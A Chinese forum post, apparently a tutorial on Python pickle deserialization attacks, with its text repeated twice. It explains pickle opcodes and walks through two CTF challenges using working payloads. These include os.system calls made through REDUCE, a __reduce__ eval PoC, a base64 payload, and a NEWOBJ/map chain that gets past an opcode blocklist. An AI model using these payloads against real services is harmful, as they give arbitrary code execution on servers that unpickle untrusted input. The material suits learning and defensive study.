Pickle反序列化攻击手法详解(Python)
- 内容介绍
- 文章标签
- 相关推荐
Pickle
pickle反序列化比java和php的危害要大不少
因为利用起来比较容易,很轻松可以RCE
实际应用场景中经常和其它基础漏洞配合起来使用
例如ssrf写redis序列化数据后被反序列化出恶意对象等
在很多比赛或漏挖中出现的llm应用也经常和pickle相关
能够序列化的对象
Noneboolint,float,complex- 元素全部为可打包对象的
tuple、list、set和dict - 函数
- 使用
def定义的模块顶层的函数(lambda不行) - 内置函数
- 使用
- 类
- 使用
class定义在模块顶层的
- 使用
- 实例对象
__dict__属性和__getstate__()函数的返回值为可序列化对象
PS:对于不能序列化的数据会抛出PicklingError异常
opcode和Bytecode
pickle的序列化数据是一段字节流
字节流由一系列pickle opcode(直译就是操作码)组成
是一种独立的栈语言,
Python Bytecode (.pyc): 是给 PVM (Python Virtual Machine) 看的,用于通用的程序逻辑
例如:
def add(a, b):
return a + b
转换成指令流:
2 0 LOAD_FAST 0 (a)
2 LOAD_FAST 1 (b)
4 BINARY_ADD
6 RETURN_VALUE
这整个指令流被称为Bytecode
其中的每一个指令称为opcode
而类似LOAD_FAST的单个指令就是一个普遍的opcode
Pickle Opcode
Pickle Opcode: 是给 Unpickler (Pickle 虚拟机) 看的,专门用于构建对象
刚刚介绍的正常opcode包含很多复杂的指令逻辑例如做加法 (BINARY_ADD)、比较大小 (COMPARE_OP)、循环 (JUMP_ABSOLUTE)。
pickle的opcode能力主要围绕数据构建和对象恢复
但也有调用函数的能力
以下是大部分常见pickle opcode
| Opcode (Char/Hex) | Name | Description (功能描述) |
|---|---|---|
| 基础控制与数值 | ||
. (0x2e) |
STOP |
结束 Pickle 流,反序列化完成 |
N (0x4e) |
NONE |
推送 None 到栈顶 |
I (0x49) |
INT |
推送整数 (文本格式) |
F (0x46) |
FLOAT |
推送浮点数 (文本格式) |
S (0x53) |
STRING |
推送字符串 (带引号的文本格式) |
V (0x56) |
UNICODE |
推送 Unicode 字符串 |
K (0x4b) |
BININT1 |
推送 1 字节无符号整数 |
M (0x4d) |
BININT2 |
推送 2 字节无符号整数 |
J (0x4a) |
BININT |
推送 4 字节有符号整数 |
| 容器构建 (List/Dict/Tuple) | ||
( (0x28) |
MARK |
推送标记 (Mark) 到栈顶,用于界定容器边界 |
l (0x6c) |
LIST |
构建列表 (从栈顶直到 Mark) |
d (0x64) |
DICT |
构建字典 (从栈顶直到 Mark) |
t (0x74) |
TUPLE |
构建元组 (从栈顶直到 Mark) |
] (0x5d) |
EMPTY_LIST |
推送一个空列表 |
} (0x7d) |
EMPTY_DICT |
推送一个空字典 |
a (0x61) |
APPEND |
将栈顶元素 append 到栈顶下方的列表中 |
e (0x65) |
APPENDS |
批量 append (从 Mark 开始) 到列表 |
s (0x73) |
SETITEM |
设置字典键值对 (key, value) |
u (0x75) |
SETITEMS |
批量设置字典键值对 (从 Mark 开始) |
| 对象与类 | ||
c (0x63) |
GLOBAL |
导入模块和类 (Module.Class) 并推送到栈 |
R (0x52) |
REDUCE |
调用可调用对象 (通常用于通过类和参数重建对象) |
b (0x62) |
BUILD |
调用 __setstate__ 或更新 __dict__ 来恢复对象状态 |
o (0x6f) |
OBJ |
构建类实例 (旧协议,基于栈上的类和参数) |
i (0x69) |
INST |
实例化对象 (相当于 GLOBAL + MARK + BUILD 的旧版组合) |
\x81 (0x81) |
NEWOBJ |
(Proto 2+) 直接创建新对象实例 (不调 __init__) |
| Memoization (记忆/引用) | ||
p (0x70) |
PUT |
将栈顶对象存入 memo (文本索引) |
q (0x71) |
BINPUT |
将栈顶对象存入 memo (1字节二进制索引) |
r (0x72) |
LONG_BINPUT |
将栈顶对象存入 memo (4字节二进制索引) |
g (0x67) |
GET |
从 memo 获取对象 (文本索引) |
h (0x68) |
BINGET |
从 memo 获取对象 (1字节二进制索引) |
| 栈操作 | ||
0 (0x30) |
POP |
弹出栈顶元素 |
2 (0x32) |
DUP |
复制栈顶元素 |
这里用一个简单的最常规的命令执行来举例:
opcode=b'''cos
system
(S'whoami'
tR.'''
cos
system #字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack
(S'ls' #字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'whoami'并将其压入stack
tR. #字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('whoami')
#字节码为.,程序结束,将栈顶元素os.system('ls')作为返回值
这里的栈是pickle模块内部的一个列表
“压入栈”实际就是append进列表
过程模拟:
第一步
os.system <--- 栈顶
第二步
(MARK) <--- 栈顶
os.system
第三步
'whoami' <--- 栈顶
(MARK)
os.system
第四步t构建元组
('whoami',) <--- 栈顶 (这是一个元组,作为参数列表)
os.system
第五步R执行函数,要求栈顶为参数元组,栈顶的下面一个元素为可执行函数
第六步.停止
那么了解这个过程后拓展其余的执行函数的过程就很清晰了
字节码o:
opcode3=b'''(cos
system
S'whoami'
o.'''
用上一个mark上的第一个数据(必须是可执行函数)为函数
以第2~n个数据为函数参数执行
字节码i:
opcode2=b'''(S'whoami'
ios
system
.'''
用类似c的方式获取到一个可执行函数,然后寻找上一个mark,以mark和自身之间的入栈数据作为元组,以元组作为参数执行
相当于元组和可执行函数的位置需要调换,且自带执行能力
例题
2024极客大挑战-ez_python
常规注册登录,暂时没有发现可攻击的点
但登录后提示查看:/starven_s3cret
成功获得源码:
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black
app = Flask(__name__)
#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
return render_template_string(open('templates/index.html').read())
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
usname = request.form['username']
passwd = request.form['password']
if usname and passwd:
heart_cookie = secrets.token_hex(32)
response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
response.set_cookie('heart', heart_cookie)
return response
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
heart_cookie = request.cookies.get('heart')
if not heart_cookie:
return render_template('warning.html')
if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
statement = request.form['statement']
try:
heal_state = base64.b64decode(statement)
print(heal_state)
for i in black.blacklist:
if i in heal_state:
return render_template('waf.html')
pickle.loads(heal_state)
res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
os.system("echo " + flag + " > /flag")
return res
except Exception as e:
print( e)
pass
return "Error!!!! give you hint: maybe you can view /starven_s3cret"
return render_template('login.html')
@app.route('/monologue',methods=['GET','POST'])
def joker():
return render_template('joker.html')
@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
return send_file(__file__,as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
可见是一个pickle注入题目
而登录时对starven说的话就是需要注入的内容,需要base64加密
那么构造如下poc:
import pickle
import base64
print(base64.b64encode(pickle.dumps("111")))
import pickle
import os
import base64
import requests
class aaa():
def __reduce__(self):
try:
print(111)
return (eval,("__import__('os').system('xxx')",))
except:
pass
a = aaa()
print(base64.b64encode(pickle.dumps(a)))
pickle.loads(base64.b64decode("gASVOQAAAAAAAACMAm50lIwGc3lzdGVtlJOUjCFlY2hvICIyMjIiPiBmaW5kIC1uYW1lIGpva2VyLmh0bWyUhZRSlC4="))
即可执行任意命令,本想弹shell,结果弹shell的各种方法被过滤,
另寻他法后发现index.html的文件位置精确的暴露了,那么我们只要将执行命令的回显写入即可:
return (eval,("__import__('os').system('env > templates/index.html')",))
再回到首页即可成功获得flag
当然预期解的打法那就是写内存马
2025TSGCTF SafePickle
环境源码:
import pickle, pickletools
BANNED_OPS = [
"EXT1",
"EXT2",
"EXT4",
"REDUCE",
"INST",
"OBJ",
"PERSID",
"BINPERSID",
]
data = bytes.fromhex(input("input pickle (hex)> "))
try:
for opcode, arg, pos in pickletools.genops(data):
if opcode.name in BANNED_OPS:
print(f"Banned opcode used: {opcode.name}")
exit(0)
except Exception as e:
print("Error :(")
exit(0)
print(pickle.loads(data))
首先分析一下waf
过滤了REDUCE,INST,OBJ,也就意味着我们无法直接使用__reduce__魔术方法来dump一把梭payload了
只能手动构造,且R,I,O操作码都使用不了了
直接构造opcode进行攻击
payload = b'\x80\x03'
payload += b'cbuiltins\ntuple\n'
payload += b'cbuiltins\nmap\n'
payload += b'('
payload += b'cos\nsystem\n'
payload += b'('
payload += b'S\'cat flag.txt\'\n'
payload += b'l'
payload += b't'
payload += b'\x81'
payload += b'\x85'
payload += b'\x81'
payload += b'.'
print(payload.hex())
可以取几个关键节点来分析对应步骤的栈内结构
这里首先使用\x80\x03设置了协议为3,不过实际测试似乎不唯一
到操作码l之前:
'cat flag.txt'
(mark)
os.system
(mark)
builtins.map
builtins.tuple
操作码l将栈顶到最近的mark的数据组合成列表
['cat flag.txt']
os.system
(mark)
builtins.map
builtins.tuple
操作码t压为元组:
(os.system,['cat flag.txt'])
builtins.map
builtins.tuple
操作码\81可以实例化类,弹出两个元素,第一个元素作为传入参数,第二个元素作为被实例化的类
这里实际执行:
map.__new__(map, os.system, ['cat flag.txt'])
操作码\85弹出一个元素压为元组
此时的栈:
(<map object>,)
builtins.tuple
再次使用操作码\81实例化tuple类
最后实现的操作实际上是
tuple(map(os.system, ['cat flag.txt']))
这里触发代码执行的思路和java反序列化中cc链有异曲同工之妙
都是先给map对象传递一个可执行函数转换器,当有新的数据进入时会先经过转换器转换
实际上触发了执行:
os.system('cat flag.txt')
pickle完整操作码表
Hex ASCII Name Description (中文描述)
================================================================================
# 基础通用指令 (Protocol 0 - 1) - 大多对应可见字符
--------------------------------------------------------------------------------
\x28 ( MARK 压入标记对象 (MARK),用于界定列表/元组范围
\x29 ) EMPTY_TUPLE 压入一个空元组
\x2e . STOP 反序列化结束 (Stop),返回栈顶元素
\x30 0 POP 弹出(丢弃)栈顶元素
\x31 1 POP_MARK 弹出栈顶直到遇到标记 (MARK) 并丢弃
\x32 2 DUP 复制栈顶元素并再次压入
\x46 F FLOAT 压入浮点数 (文本格式)
\x47 G BINFLOAT 压入浮点数 (8字节二进制格式)
\x49 I INT 压入整数 (文本格式)
\x4a J BININT 压入4字节有符号整数
\x4b K BININT1 压入1字节无符号整数
\x4c L LONG 压入长整数
\x4d M BININT2 压入2字节无符号整数
\x4e N NONE 压入 None
\x50 P PERSID 压入持久化ID对象
\x51 Q BINPERSID 压入持久化ID对象 (二进制)
\x52 R REDUCE 执行函数 (取出栈顶元组作为参数,次栈顶作为函数执行)
\x53 S STRING 压入字符串 (文本格式,引号包裹)
\x54 T BINSTRING 压入字符串 (二进制格式)
\x55 U SHORT_BINSTRING 压入短字符串 (长度 < 256)
\x56 V UNICODE 压入 Unicode 字符串
\x58 X BINUNICODE 压入 Unicode 字符串 (二进制)
\x5d ] EMPTY_LIST 压入一个空列表
\x61 a APPEND 将对象追加到列表 (stack[-1] append to stack[-2])
\x62 b BUILD 通过 setstate 或 dict 更新构建对象
\x63 c GLOBAL 导入全局对象 (格式: module\nname\n)
\x64 d DICT 构建字典 (从 MARK 开始)
\x65 e APPENDS 扩展列表 (将切片扩展到列表)
\x66 f PUT (已废弃) 同 PUT
\x67 g GET 从 Memo 获取对象 (文本索引)
\x68 h BINGET 从 Memo 获取对象 (1字节二进制索引)
\x69 i INST 构建类实例 (相当于 c + o)
\x6a j LONG_BINGET 从 Memo 获取对象 (4字节二进制索引)
\x6c l LIST 构建列表 (从 MARK 开始)
\x6f o OBJ 构建类对象 (利用栈上的参数)
\x70 p PUT 存入 Memo (文本索引)
\x71 q BINPUT 存入 Memo (1字节二进制索引)
\x72 r LONG_BINPUT 存入 Memo (4字节二进制索引)
\x73 s SETITEM 字典赋值 (d[k]=v)
\x74 t TUPLE 构建元组 (从 MARK 开始)
\x75 u SETITEMS 字典批量赋值
\x7d } EMPTY_DICT 压入一个空字典
# 二进制扩展指令 (Protocol 2, 3, 4+) - 无 ASCII 对应
--------------------------------------------------------------------------------
\x80 N/A PROTO 声明协议版本 (如 \x80\x03)
\x81 N/A NEWOBJ 实例化类 (调用 __new__,WAF 绕过神器)
\x82 N/A EXT1 扩展代码 (1字节)
\x83 N/A EXT2 扩展代码 (2字节)
\x84 N/A EXT4 扩展代码 (4字节)
\x85 N/A TUPLE1 构建单元素元组 (无需 MARK)
\x86 N/A TUPLE2 构建双元素元组 (无需 MARK)
\x87 N/A TUPLE3 构建三元素元组 (无需 MARK)
\x88 N/A NEWTRUE 压入 True
\x89 N/A NEWFALSE 压入 False
\x8a N/A LONG1 长整数 (1字节长度前缀)
\x8b N/A LONG4 长整数 (4字节长度前缀)
\x8c N/A SHORT_BINUNICODE 短 Unicode 字符串 (长度 < 256)
\x8d N/A BINUNICODE8 长 Unicode 字符串 (8字节长度前缀)
\x8e N/A BINBYTES8 长 Bytes 对象 (8字节长度前缀)
\x8f N/A EMPTY_SET 压入空集合 (Set)
\x90 N/A ADDITEMS 向集合添加元素
\x91 N/A FROZENSET 构建不可变集合 (Frozenset)
\x92 N/A NEWOBJ_EX 实例化类 (带关键字参数)
\x93 N/A STACK_GLOBAL 栈上导入全局对象 (Protocol 4+)
\x94 N/A MEMOIZE 自动存入 Memo (无需指定索引)
\x95 N/A FRAME 帧标记 (用于分块传输)
\x96 N/A BYTEARRAY8 压入 ByteArray 对象
\x97 N/A NEXT_BUFFER 压入带外缓冲区 (Pickle 5)
\x98 N/A READONLY_BUFFER 设为只读缓冲区 (Pickle 5)
参考
Pickle反序列化 - 枫のBlog
前置知识 什么是Pickle? pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似…
网友解答:--【壹】--:
太强了佬!
--【贰】--:
太强了!
Pickle
pickle反序列化比java和php的危害要大不少
因为利用起来比较容易,很轻松可以RCE
实际应用场景中经常和其它基础漏洞配合起来使用
例如ssrf写redis序列化数据后被反序列化出恶意对象等
在很多比赛或漏挖中出现的llm应用也经常和pickle相关
能够序列化的对象
Noneboolint,float,complex- 元素全部为可打包对象的
tuple、list、set和dict - 函数
- 使用
def定义的模块顶层的函数(lambda不行) - 内置函数
- 使用
- 类
- 使用
class定义在模块顶层的
- 使用
- 实例对象
__dict__属性和__getstate__()函数的返回值为可序列化对象
PS:对于不能序列化的数据会抛出PicklingError异常
opcode和Bytecode
pickle的序列化数据是一段字节流
字节流由一系列pickle opcode(直译就是操作码)组成
是一种独立的栈语言,
Python Bytecode (.pyc): 是给 PVM (Python Virtual Machine) 看的,用于通用的程序逻辑
例如:
def add(a, b):
return a + b
转换成指令流:
2 0 LOAD_FAST 0 (a)
2 LOAD_FAST 1 (b)
4 BINARY_ADD
6 RETURN_VALUE
这整个指令流被称为Bytecode
其中的每一个指令称为opcode
而类似LOAD_FAST的单个指令就是一个普遍的opcode
Pickle Opcode
Pickle Opcode: 是给 Unpickler (Pickle 虚拟机) 看的,专门用于构建对象
刚刚介绍的正常opcode包含很多复杂的指令逻辑例如做加法 (BINARY_ADD)、比较大小 (COMPARE_OP)、循环 (JUMP_ABSOLUTE)。
pickle的opcode能力主要围绕数据构建和对象恢复
但也有调用函数的能力
以下是大部分常见pickle opcode
| Opcode (Char/Hex) | Name | Description (功能描述) |
|---|---|---|
| 基础控制与数值 | ||
. (0x2e) |
STOP |
结束 Pickle 流,反序列化完成 |
N (0x4e) |
NONE |
推送 None 到栈顶 |
I (0x49) |
INT |
推送整数 (文本格式) |
F (0x46) |
FLOAT |
推送浮点数 (文本格式) |
S (0x53) |
STRING |
推送字符串 (带引号的文本格式) |
V (0x56) |
UNICODE |
推送 Unicode 字符串 |
K (0x4b) |
BININT1 |
推送 1 字节无符号整数 |
M (0x4d) |
BININT2 |
推送 2 字节无符号整数 |
J (0x4a) |
BININT |
推送 4 字节有符号整数 |
| 容器构建 (List/Dict/Tuple) | ||
( (0x28) |
MARK |
推送标记 (Mark) 到栈顶,用于界定容器边界 |
l (0x6c) |
LIST |
构建列表 (从栈顶直到 Mark) |
d (0x64) |
DICT |
构建字典 (从栈顶直到 Mark) |
t (0x74) |
TUPLE |
构建元组 (从栈顶直到 Mark) |
] (0x5d) |
EMPTY_LIST |
推送一个空列表 |
} (0x7d) |
EMPTY_DICT |
推送一个空字典 |
a (0x61) |
APPEND |
将栈顶元素 append 到栈顶下方的列表中 |
e (0x65) |
APPENDS |
批量 append (从 Mark 开始) 到列表 |
s (0x73) |
SETITEM |
设置字典键值对 (key, value) |
u (0x75) |
SETITEMS |
批量设置字典键值对 (从 Mark 开始) |
| 对象与类 | ||
c (0x63) |
GLOBAL |
导入模块和类 (Module.Class) 并推送到栈 |
R (0x52) |
REDUCE |
调用可调用对象 (通常用于通过类和参数重建对象) |
b (0x62) |
BUILD |
调用 __setstate__ 或更新 __dict__ 来恢复对象状态 |
o (0x6f) |
OBJ |
构建类实例 (旧协议,基于栈上的类和参数) |
i (0x69) |
INST |
实例化对象 (相当于 GLOBAL + MARK + BUILD 的旧版组合) |
\x81 (0x81) |
NEWOBJ |
(Proto 2+) 直接创建新对象实例 (不调 __init__) |
| Memoization (记忆/引用) | ||
p (0x70) |
PUT |
将栈顶对象存入 memo (文本索引) |
q (0x71) |
BINPUT |
将栈顶对象存入 memo (1字节二进制索引) |
r (0x72) |
LONG_BINPUT |
将栈顶对象存入 memo (4字节二进制索引) |
g (0x67) |
GET |
从 memo 获取对象 (文本索引) |
h (0x68) |
BINGET |
从 memo 获取对象 (1字节二进制索引) |
| 栈操作 | ||
0 (0x30) |
POP |
弹出栈顶元素 |
2 (0x32) |
DUP |
复制栈顶元素 |
这里用一个简单的最常规的命令执行来举例:
opcode=b'''cos
system
(S'whoami'
tR.'''
cos
system #字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack
(S'ls' #字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'whoami'并将其压入stack
tR. #字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('whoami')
#字节码为.,程序结束,将栈顶元素os.system('ls')作为返回值
这里的栈是pickle模块内部的一个列表
“压入栈”实际就是append进列表
过程模拟:
第一步
os.system <--- 栈顶
第二步
(MARK) <--- 栈顶
os.system
第三步
'whoami' <--- 栈顶
(MARK)
os.system
第四步t构建元组
('whoami',) <--- 栈顶 (这是一个元组,作为参数列表)
os.system
第五步R执行函数,要求栈顶为参数元组,栈顶的下面一个元素为可执行函数
第六步.停止
那么了解这个过程后拓展其余的执行函数的过程就很清晰了
字节码o:
opcode3=b'''(cos
system
S'whoami'
o.'''
用上一个mark上的第一个数据(必须是可执行函数)为函数
以第2~n个数据为函数参数执行
字节码i:
opcode2=b'''(S'whoami'
ios
system
.'''
用类似c的方式获取到一个可执行函数,然后寻找上一个mark,以mark和自身之间的入栈数据作为元组,以元组作为参数执行
相当于元组和可执行函数的位置需要调换,且自带执行能力
例题
2024极客大挑战-ez_python
常规注册登录,暂时没有发现可攻击的点
但登录后提示查看:/starven_s3cret
成功获得源码:
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black
app = Flask(__name__)
#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
return render_template_string(open('templates/index.html').read())
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
usname = request.form['username']
passwd = request.form['password']
if usname and passwd:
heart_cookie = secrets.token_hex(32)
response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
response.set_cookie('heart', heart_cookie)
return response
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
heart_cookie = request.cookies.get('heart')
if not heart_cookie:
return render_template('warning.html')
if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
statement = request.form['statement']
try:
heal_state = base64.b64decode(statement)
print(heal_state)
for i in black.blacklist:
if i in heal_state:
return render_template('waf.html')
pickle.loads(heal_state)
res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
os.system("echo " + flag + " > /flag")
return res
except Exception as e:
print( e)
pass
return "Error!!!! give you hint: maybe you can view /starven_s3cret"
return render_template('login.html')
@app.route('/monologue',methods=['GET','POST'])
def joker():
return render_template('joker.html')
@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
return send_file(__file__,as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
可见是一个pickle注入题目
而登录时对starven说的话就是需要注入的内容,需要base64加密
那么构造如下poc:
import pickle
import base64
print(base64.b64encode(pickle.dumps("111")))
import pickle
import os
import base64
import requests
class aaa():
def __reduce__(self):
try:
print(111)
return (eval,("__import__('os').system('xxx')",))
except:
pass
a = aaa()
print(base64.b64encode(pickle.dumps(a)))
pickle.loads(base64.b64decode("gASVOQAAAAAAAACMAm50lIwGc3lzdGVtlJOUjCFlY2hvICIyMjIiPiBmaW5kIC1uYW1lIGpva2VyLmh0bWyUhZRSlC4="))
即可执行任意命令,本想弹shell,结果弹shell的各种方法被过滤,
另寻他法后发现index.html的文件位置精确的暴露了,那么我们只要将执行命令的回显写入即可:
return (eval,("__import__('os').system('env > templates/index.html')",))
再回到首页即可成功获得flag
当然预期解的打法那就是写内存马
2025TSGCTF SafePickle
环境源码:
import pickle, pickletools
BANNED_OPS = [
"EXT1",
"EXT2",
"EXT4",
"REDUCE",
"INST",
"OBJ",
"PERSID",
"BINPERSID",
]
data = bytes.fromhex(input("input pickle (hex)> "))
try:
for opcode, arg, pos in pickletools.genops(data):
if opcode.name in BANNED_OPS:
print(f"Banned opcode used: {opcode.name}")
exit(0)
except Exception as e:
print("Error :(")
exit(0)
print(pickle.loads(data))
首先分析一下waf
过滤了REDUCE,INST,OBJ,也就意味着我们无法直接使用__reduce__魔术方法来dump一把梭payload了
只能手动构造,且R,I,O操作码都使用不了了
直接构造opcode进行攻击
payload = b'\x80\x03'
payload += b'cbuiltins\ntuple\n'
payload += b'cbuiltins\nmap\n'
payload += b'('
payload += b'cos\nsystem\n'
payload += b'('
payload += b'S\'cat flag.txt\'\n'
payload += b'l'
payload += b't'
payload += b'\x81'
payload += b'\x85'
payload += b'\x81'
payload += b'.'
print(payload.hex())
可以取几个关键节点来分析对应步骤的栈内结构
这里首先使用\x80\x03设置了协议为3,不过实际测试似乎不唯一
到操作码l之前:
'cat flag.txt'
(mark)
os.system
(mark)
builtins.map
builtins.tuple
操作码l将栈顶到最近的mark的数据组合成列表
['cat flag.txt']
os.system
(mark)
builtins.map
builtins.tuple
操作码t压为元组:
(os.system,['cat flag.txt'])
builtins.map
builtins.tuple
操作码\81可以实例化类,弹出两个元素,第一个元素作为传入参数,第二个元素作为被实例化的类
这里实际执行:
map.__new__(map, os.system, ['cat flag.txt'])
操作码\85弹出一个元素压为元组
此时的栈:
(<map object>,)
builtins.tuple
再次使用操作码\81实例化tuple类
最后实现的操作实际上是
tuple(map(os.system, ['cat flag.txt']))
这里触发代码执行的思路和java反序列化中cc链有异曲同工之妙
都是先给map对象传递一个可执行函数转换器,当有新的数据进入时会先经过转换器转换
实际上触发了执行:
os.system('cat flag.txt')
pickle完整操作码表
Hex ASCII Name Description (中文描述)
================================================================================
# 基础通用指令 (Protocol 0 - 1) - 大多对应可见字符
--------------------------------------------------------------------------------
\x28 ( MARK 压入标记对象 (MARK),用于界定列表/元组范围
\x29 ) EMPTY_TUPLE 压入一个空元组
\x2e . STOP 反序列化结束 (Stop),返回栈顶元素
\x30 0 POP 弹出(丢弃)栈顶元素
\x31 1 POP_MARK 弹出栈顶直到遇到标记 (MARK) 并丢弃
\x32 2 DUP 复制栈顶元素并再次压入
\x46 F FLOAT 压入浮点数 (文本格式)
\x47 G BINFLOAT 压入浮点数 (8字节二进制格式)
\x49 I INT 压入整数 (文本格式)
\x4a J BININT 压入4字节有符号整数
\x4b K BININT1 压入1字节无符号整数
\x4c L LONG 压入长整数
\x4d M BININT2 压入2字节无符号整数
\x4e N NONE 压入 None
\x50 P PERSID 压入持久化ID对象
\x51 Q BINPERSID 压入持久化ID对象 (二进制)
\x52 R REDUCE 执行函数 (取出栈顶元组作为参数,次栈顶作为函数执行)
\x53 S STRING 压入字符串 (文本格式,引号包裹)
\x54 T BINSTRING 压入字符串 (二进制格式)
\x55 U SHORT_BINSTRING 压入短字符串 (长度 < 256)
\x56 V UNICODE 压入 Unicode 字符串
\x58 X BINUNICODE 压入 Unicode 字符串 (二进制)
\x5d ] EMPTY_LIST 压入一个空列表
\x61 a APPEND 将对象追加到列表 (stack[-1] append to stack[-2])
\x62 b BUILD 通过 setstate 或 dict 更新构建对象
\x63 c GLOBAL 导入全局对象 (格式: module\nname\n)
\x64 d DICT 构建字典 (从 MARK 开始)
\x65 e APPENDS 扩展列表 (将切片扩展到列表)
\x66 f PUT (已废弃) 同 PUT
\x67 g GET 从 Memo 获取对象 (文本索引)
\x68 h BINGET 从 Memo 获取对象 (1字节二进制索引)
\x69 i INST 构建类实例 (相当于 c + o)
\x6a j LONG_BINGET 从 Memo 获取对象 (4字节二进制索引)
\x6c l LIST 构建列表 (从 MARK 开始)
\x6f o OBJ 构建类对象 (利用栈上的参数)
\x70 p PUT 存入 Memo (文本索引)
\x71 q BINPUT 存入 Memo (1字节二进制索引)
\x72 r LONG_BINPUT 存入 Memo (4字节二进制索引)
\x73 s SETITEM 字典赋值 (d[k]=v)
\x74 t TUPLE 构建元组 (从 MARK 开始)
\x75 u SETITEMS 字典批量赋值
\x7d } EMPTY_DICT 压入一个空字典
# 二进制扩展指令 (Protocol 2, 3, 4+) - 无 ASCII 对应
--------------------------------------------------------------------------------
\x80 N/A PROTO 声明协议版本 (如 \x80\x03)
\x81 N/A NEWOBJ 实例化类 (调用 __new__,WAF 绕过神器)
\x82 N/A EXT1 扩展代码 (1字节)
\x83 N/A EXT2 扩展代码 (2字节)
\x84 N/A EXT4 扩展代码 (4字节)
\x85 N/A TUPLE1 构建单元素元组 (无需 MARK)
\x86 N/A TUPLE2 构建双元素元组 (无需 MARK)
\x87 N/A TUPLE3 构建三元素元组 (无需 MARK)
\x88 N/A NEWTRUE 压入 True
\x89 N/A NEWFALSE 压入 False
\x8a N/A LONG1 长整数 (1字节长度前缀)
\x8b N/A LONG4 长整数 (4字节长度前缀)
\x8c N/A SHORT_BINUNICODE 短 Unicode 字符串 (长度 < 256)
\x8d N/A BINUNICODE8 长 Unicode 字符串 (8字节长度前缀)
\x8e N/A BINBYTES8 长 Bytes 对象 (8字节长度前缀)
\x8f N/A EMPTY_SET 压入空集合 (Set)
\x90 N/A ADDITEMS 向集合添加元素
\x91 N/A FROZENSET 构建不可变集合 (Frozenset)
\x92 N/A NEWOBJ_EX 实例化类 (带关键字参数)
\x93 N/A STACK_GLOBAL 栈上导入全局对象 (Protocol 4+)
\x94 N/A MEMOIZE 自动存入 Memo (无需指定索引)
\x95 N/A FRAME 帧标记 (用于分块传输)
\x96 N/A BYTEARRAY8 压入 ByteArray 对象
\x97 N/A NEXT_BUFFER 压入带外缓冲区 (Pickle 5)
\x98 N/A READONLY_BUFFER 设为只读缓冲区 (Pickle 5)
参考
Pickle反序列化 - 枫のBlog
前置知识 什么是Pickle? pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似…
网友解答:--【壹】--:
太强了佬!
--【贰】--:
太强了!

